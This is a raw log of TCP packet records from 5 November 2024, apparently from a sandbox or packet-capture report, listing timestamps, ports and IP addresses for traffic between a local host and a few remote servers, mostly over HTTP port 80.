Nov 5, 2024 10:13:14.985348940 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.985366106 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.985371113 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.985378027 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.985409975 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.026268005 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.030519009 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.030563116 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.030606031 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.030647039 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.030658960 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.030725956 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.030745983 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.030814886 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.030858040 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.047476053 CET	443	49716	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:15.047547102 CET	49716	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:15.049406052 CET	49716	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:15.049412966 CET	443	49716	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:15.049664021 CET	443	49716	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:15.059441090 CET	49716	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:15.073029995 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.073040962 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.073065996 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.073076010 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.073086023 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.073086977 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.073163033 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.103059053 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.103106976 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.103117943 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.103132010 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.103166103 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.103336096 CET	443	49716	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:15.103368998 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.103379965 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.103389978 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.103437901 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.103920937 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.103930950 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.103940964 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.103970051 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.104013920 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.104072094 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.104083061 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.104115009 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.104125023 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.104125023 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.104135036 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.104187012 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.104773045 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.104782104 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.104836941 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.147521019 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.147535086 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.147546053 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.147598982 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.147660017 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.147774935 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.147787094 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.147795916 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.148108006 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.190974951 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.190985918 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.190998077 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.191006899 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.191020966 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.191037893 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.191097021 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.191122055 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.191272974 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.191281080 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.191339016 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.218154907 CET	443	49713	4.175.87.197	192.168.2.5
Nov 5, 2024 10:13:15.218180895 CET	443	49713	4.175.87.197	192.168.2.5
Nov 5, 2024 10:13:15.218189001 CET	443	49713	4.175.87.197	192.168.2.5
Nov 5, 2024 10:13:15.218200922 CET	443	49713	4.175.87.197	192.168.2.5
Nov 5, 2024 10:13:15.218233109 CET	443	49713	4.175.87.197	192.168.2.5
Nov 5, 2024 10:13:15.218254089 CET	49713	443	192.168.2.5	4.175.87.197
Nov 5, 2024 10:13:15.218277931 CET	443	49713	4.175.87.197	192.168.2.5
Nov 5, 2024 10:13:15.218300104 CET	49713	443	192.168.2.5	4.175.87.197
Nov 5, 2024 10:13:15.218318939 CET	49713	443	192.168.2.5	4.175.87.197
Nov 5, 2024 10:13:15.218903065 CET	443	49713	4.175.87.197	192.168.2.5
Nov 5, 2024 10:13:15.218983889 CET	49713	443	192.168.2.5	4.175.87.197
Nov 5, 2024 10:13:15.218991041 CET	443	49713	4.175.87.197	192.168.2.5
Nov 5, 2024 10:13:15.220330954 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.220340967 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.220355034 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.220403910 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.220415115 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.220422983 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.220427990 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.220438957 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.220484018 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.220873117 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.220911980 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.220921040 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.220946074 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.220968008 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.221122026 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.221182108 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.221194029 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.221245050 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.221257925 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.221267939 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.221338987 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.260653019 CET	49713	443	192.168.2.5	4.175.87.197
Nov 5, 2024 10:13:15.265319109 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.265328884 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.265337944 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.265408993 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.265485048 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.265677929 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.265688896 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.265698910 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.265747070 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.265762091 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.266015053 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.266026020 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.266036034 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.266130924 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.307590008 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.307845116 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.307868004 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.307885885 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.307895899 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.307909966 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.307926893 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.307935953 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.307935953 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.307938099 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.307950020 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.308016062 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.308016062 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.317656040 CET	443	49716	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:15.317681074 CET	443	49716	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:15.317697048 CET	443	49716	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:15.317785025 CET	49716	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:15.317799091 CET	443	49716	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:15.317851067 CET	49716	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:15.338399887 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.338413954 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.338427067 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.338438034 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.338449001 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.338474035 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.338474035 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.338790894 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.338865995 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.338877916 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.338888884 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.338901043 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.338912964 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.338922977 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.338947058 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.340385914 CET	443	49713	4.175.87.197	192.168.2.5
Nov 5, 2024 10:13:15.340447903 CET	443	49713	4.175.87.197	192.168.2.5
Nov 5, 2024 10:13:15.340565920 CET	49713	443	192.168.2.5	4.175.87.197
Nov 5, 2024 10:13:15.383373022 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.383383989 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.383423090 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.383527040 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.383538008 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.383548021 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.383557081 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.383611917 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.383611917 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.383656025 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.383670092 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.383681059 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.383698940 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.383722067 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.384242058 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.384550095 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.384649038 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.424088001 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.424099922 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.424109936 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.424119949 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.424141884 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.424184084 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.424278021 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.424288988 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.424298048 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.424308062 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.424345970 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.424345970 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.437446117 CET	443	49716	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:15.437468052 CET	443	49716	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:15.437536001 CET	49716	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:15.437546015 CET	443	49716	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:15.437587023 CET	49716	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:15.454381943 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.454391003 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.454401016 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.454448938 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.454489946 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.454499960 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.454511881 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.454554081 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.454554081 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.455084085 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.455095053 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.455112934 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.455128908 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.455144882 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.455166101 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.455166101 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.495059013 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.498702049 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.498946905 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.498955965 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.498966932 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.498976946 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.498987913 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.499008894 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.499077082 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.499190092 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.499201059 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.499222040 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.499231100 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.499243021 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.499248028 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.499294996 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.499783993 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.499804974 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.499814034 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.499855995 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.499906063 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.540875912 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.540893078 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.540904045 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.540971041 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.540999889 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.541011095 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.541024923 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.541065931 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.541065931 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.556133986 CET	443	49716	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:15.556154013 CET	443	49716	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:15.556222916 CET	49716	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:15.556233883 CET	443	49716	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:15.556281090 CET	49716	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:15.573116064 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.573127985 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.573183060 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.573200941 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.573214054 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.573225975 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.573242903 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.573255062 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.573255062 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.573266983 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.573276043 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.573287010 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.573295116 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.573306084 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.573313951 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.573317051 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.573352098 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.573352098 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.616086006 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.616130114 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.616136074 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.616147995 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.616159916 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.616170883 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.616182089 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.616213083 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.616213083 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.616489887 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.616502047 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.616507053 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.616558075 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.616575956 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.616791964 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.616933107 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.617002964 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.617079973 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.620495081 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.620568037 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.620575905 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.620599985 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.620636940 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.659929037 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.660094023 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.660104990 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.660152912 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.660695076 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.660765886 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.660847902 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.679382086 CET	443	49716	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:15.679403067 CET	443	49716	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:15.679483891 CET	49716	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:15.679501057 CET	443	49716	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:15.679544926 CET	49716	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:15.689311981 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.689402103 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.689450026 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.689461946 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.689511061 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.689600945 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.689613104 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.689651012 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.689750910 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.689762115 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.689773083 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.689835072 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.689871073 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.690052032 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.690062046 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.690104961 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.690207958 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.690218925 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.690229893 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.690258980 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.734018087 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.734177113 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.734194994 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.734208107 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.734220028 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.734234095 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.734244108 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.734256029 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.734267950 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.734281063 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.734282017 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.734292984 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.734304905 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.734318018 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.734323025 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.734330893 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.734334946 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.734344006 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.734364986 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.734395027 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.775418997 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.775429010 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.775439024 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.775528908 CET	49712	80	192.168.2.5	185.215.113.16
